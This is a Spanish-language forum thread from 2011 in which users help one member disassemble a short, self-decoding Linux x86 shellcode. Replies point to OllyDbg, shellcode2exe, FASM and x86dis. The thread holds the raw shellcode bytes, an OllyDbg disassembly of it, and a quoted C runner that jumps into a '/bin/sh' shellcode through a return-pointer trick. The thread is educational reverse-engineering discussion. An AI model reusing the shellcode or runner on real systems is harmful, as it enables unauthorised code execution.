Foro de elhacker.net

Programación => ASM => Mensaje iniciado por: Garfield07 en 2 Enero 2011, 22:47 pm



Título: .:. Shellcode 2 ASM .:.
Publicado por: Garfield07 en 2 Enero 2011, 22:47 pm
Bueno, perdonadadme el titulo, un poco estafalario xD...
Bueno, mi duda es...
Tengo una shellcode, y me gustaria saber las intstrucciones en ensamblador que tiene... Como hago eso?
Para el que lo quiera saber, mi shellcode es:
Código
  1. \xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2"
  2.          "\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69"
  3.          "\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81
Bueno, es para analizarla.. Ocupa bastante pocos bytes, va a ser interesante xD...
Bueno, es pasar eso a ensamblador... como?


Título: Re: .:. Shellcode 2 ASM .:.
Publicado por: xassiz~ en 2 Enero 2011, 23:17 pm
¿Un desensamblador?


Título: Re: .:. Shellcode 2 ASM .:.
Publicado por: Garfield07 en 2 Enero 2011, 23:58 pm
Negativo pues no esta compilado xD...
Como lo compilo ? Quiero decir, la shellcode sola...
 :P :P :P


Título: Re: .:. Shellcode 2 ASM .:.
Publicado por: CronuX en 3 Enero 2011, 00:14 am
Simple cojes cualquier exe, lo abres con el OllyDBG y buscas una zona en blanco, es decir llena de 00 y modificas por los bytes que tienes en la shellcode y miras que instrucciones son y que hace... saludos


Título: Re: .:. Shellcode 2 ASM .:.
Publicado por: 3mp3z@ndo en 3 Enero 2011, 00:43 am
Puedes pasarte por aqui:

http://sandsprite.com/shellcode_2_exe.php (http://sandsprite.com/shellcode_2_exe.php)

o por aqui:

http://www.data0.net/?page_id=618 (http://www.data0.net/?page_id=618)

Conviertes tu shellcode a exe, te lo descargas y lo metes por ejemplo en el olly y tendrás algo como esto

Código:
00401020   . /EB 12         JMP SHORT shellcod.00401034
00401022   $ |31C9          XOR ECX,ECX
00401024   . |5E            POP ESI                                  ;  kernel32.7C816FE7
00401025   . |56            PUSH ESI
00401026   . |5F            POP EDI                                  ;  kernel32.7C816FE7
00401027   . |B1 15         MOV CL,15
00401029   > |8A06          MOV AL,BYTE PTR DS:[ESI]
0040102B   . |FEC8          DEC AL
0040102D   . |8806          MOV BYTE PTR DS:[ESI],AL
0040102F   . |46            INC ESI
00401030   .^|E2 F7         LOOPD SHORT shellcod.00401029
00401032   .-|FFE7          JMP EDI                                  ;  ntdll.7C920228
00401034   > \E8 E9FFFFFF   CALL shellcod.00401022
00401039   .  32C1          XOR AL,CL
0040103B   .  32CA          XOR CL,DL
0040103D   .  52            PUSH EDX                                 ; ntdll.KiFastSystemCallRet
0040103E   .  6930 74690169 IMUL ESI,DWORD PTR DS:[EAX],69016974
00401044   .  3063 6A       XOR BYTE PTR DS:[EBX+6A],AH
00401047   .  6F            OUTS DX,DWORD PTR ES:[EDI]               ;  I/O command
00401048   .  8AE4          MOV AH,AH
0040104A   .  B1 0C         MOV CL,0C
0040104C   .  CE            INTO
0040104D   .  8100 00000000 ADD DWORD PTR DS:[EAX],0

O si te quieres ahorrar la conversión puedes hacer lo que te ha dicho cronux, copias los bytes de tu shellcode directamente en un ejecutable y después lo metes en el olly.

También puedes descargar el Malcode Analysis Pack de idefense donde entre otras herramientas tienes el shellcode2exe para montartelo en local y no depender de ninguna web, te dejo el enlace:

http://labs.idefense.com/software/malcode.php#more_malcode+analysis+pack (http://labs.idefense.com/software/malcode.php#more_malcode+analysis+pack)

Saludos




Título: Re: .:. Shellcode 2 ASM .:.
Publicado por: Garfield07 en 3 Enero 2011, 12:01 pm
Bueno, gracias por las respuestas, pero el sistema que uso es linux y me convierte a un Windows. Y Wine no puede hacer nada :o :o
Alguna idea?


Título: Re: .:. Shellcode 2 ASM .:.
Publicado por: SnakingMax en 3 Enero 2011, 13:18 pm
Debes reemplazar los '\' con '0' y ensamblarlo con FASM que está disponible para Linux tambien:
Citar
http://foro.elhacker.net/bugs_y_exploits/shellcodeopcode_to_asm-t277997.0.html (http://foro.elhacker.net/bugs_y_exploits/shellcodeopcode_to_asm-t277997.0.html)


Título: Re: .:. Shellcode 2 ASM .:.
Publicado por: Garfield07 en 3 Enero 2011, 13:21 pm
Muchas gracias jaja ahora mismo lo pruebo...
Aparte, he econtrado otra cosa por si esa no me va xD...
http://blogs.udp.cl/obtener-c%C3%B3digo-assembler-de-un-shellcode-desde-el-terminal

Mea culpa por no buscar bien...


Título: Re: .:. Shellcode 2 ASM .:.
Publicado por: SnakingMax en 3 Enero 2011, 13:27 pm
Ok, ya comentas como te fue  :)


Título: Re: .:. Shellcode 2 ASM .:.
Publicado por: Garfield07 en 3 Enero 2011, 16:40 pm
Comento que no me fue  :-\
El fasm no me compila xD... me echas una manita ?
lo modifique pero nada ...

Y mi metodo no me va. Cosa curiosa:
http://blogs.udp.cl/obtener-c%C3%B3digo-assembler-de-un-shellcode-desde-el-terminal
Código:
echo -ne "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" | x86dis -e 0 -s intel
OK, code de acuerdo...
Código:
echo -ne "\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81" | x86dis -e 0 -s intel
Pum pum pum...
Código:
jmp 0x00000014
Que hago? Muchas gracias de todos modos. Alguna idea?


Título: Re: .:. Shellcode 2 ASM .:.
Publicado por: SnakingMax en 3 Enero 2011, 19:02 pm
Qué distro estás usando? A lo mejor esto te sirve para no tener que compilarlo: http://fasmdeb.googlecode.com/files/fasm%201.69.24i386.deb (http://fasmdeb.googlecode.com/files/fasm%201.69.24i386.deb)

Citar
char shellcode [ ] = "\xeb\x2a\x5e…/bin/ sh ";
void main() {
int *ret;
ret = ( int *)&ret + 2;
(*ret) = ( int)shellcode ; }
Fuente: http://www.google.es/url?sa=t&source=web&cd=1&sqi=2&ved=0CBoQFjAA&url=http%3A%2F%2Fwww.cs.northwestern.edu%2F~ychen%2Fclasses%2Fcs395-w05%2Flectures%2FSmashing%2520the%2520Stack.ppt&rct=j&q=ret%20%3D%20(int%20*)%26ret%20%2B%202%3B&ei=6RAiTYr9A8Ws8gPRz4DvBQ&usg=AFQjCNER0MzcA3Y_0xJwX7rfZNKbEgTKCw&sig2=j6DwqrVTlUi3Q0NvzDATVQ&cad=rja (http://www.google.es/url?sa=t&source=web&cd=1&sqi=2&ved=0CBoQFjAA&url=http%3A%2F%2Fwww.cs.northwestern.edu%2F~ychen%2Fclasses%2Fcs395-w05%2Flectures%2FSmashing%2520the%2520Stack.ppt&rct=j&q=ret%20%3D%20(int%20*)%26ret%20%2B%202%3B&ei=6RAiTYr9A8Ws8gPRz4DvBQ&usg=AFQjCNER0MzcA3Y_0xJwX7rfZNKbEgTKCw&sig2=j6DwqrVTlUi3Q0NvzDATVQ&cad=rja)

Donde dice "\xeb\x2a\x5e…/bin/ sh " deberías colocar tu S.C.
Disculpas por modificar tanto el post  :rolleyes:


Título: Re: .:. Shellcode 2 ASM .:.
Publicado por: Garfield07 en 3 Enero 2011, 19:28 pm
Quieres decir que use un code en C para ejecutar la shellcode con un puntero? Eso lo use antes, pero no salio bien el resultado, creo...
Ahora modifico en linux, que estoy en Win32, y pongo el resultado, pero a mi no me ha dado resultado...

PD: Estoy en Ubuntu 9.04, creo que ha sido fallo mio, pero no va muy bien...
PD2: Shutting down...


Título: Re: .:. Shellcode 2 ASM .:.
Publicado por: SnakingMax en 3 Enero 2011, 19:38 pm
Parece que tu shellcode fue testeada en Ubuntu 8.04 Hardy Heron.
Mira este enlace: http://www.shell-storm.org/shellcode/files/shellcode-690.php (http://www.shell-storm.org/shellcode/files/shellcode-690.php)


Título: Re: .:. Shellcode 2 ASM .:.
Publicado por: Garfield07 en 3 Enero 2011, 20:31 pm
Sep, la saque de db-exploits, pero es la misma... Perdonad por las molestias, ha sido fallo mio...
Al final lo consegui buscando en el desensamblado de tu code, que era de donde saque mi code jaja.

PD: Solucionado. Al final me repase un poco esa, y lo vi un poco oscuro, no lo entendia muy bien ... De todos modos he hecho otra mucho mejor, de 25 bytes.
http://foro.elhacker.net/bugs_y_exploits/iexcl_mi_primera_shellcode_linux_i386_25_bytes-t315722.0.html;msg1563614#new

Bueno, al final el tema callo a nada.
Muchisimas gracias por todo
En el post pongo los agradecimientos ;)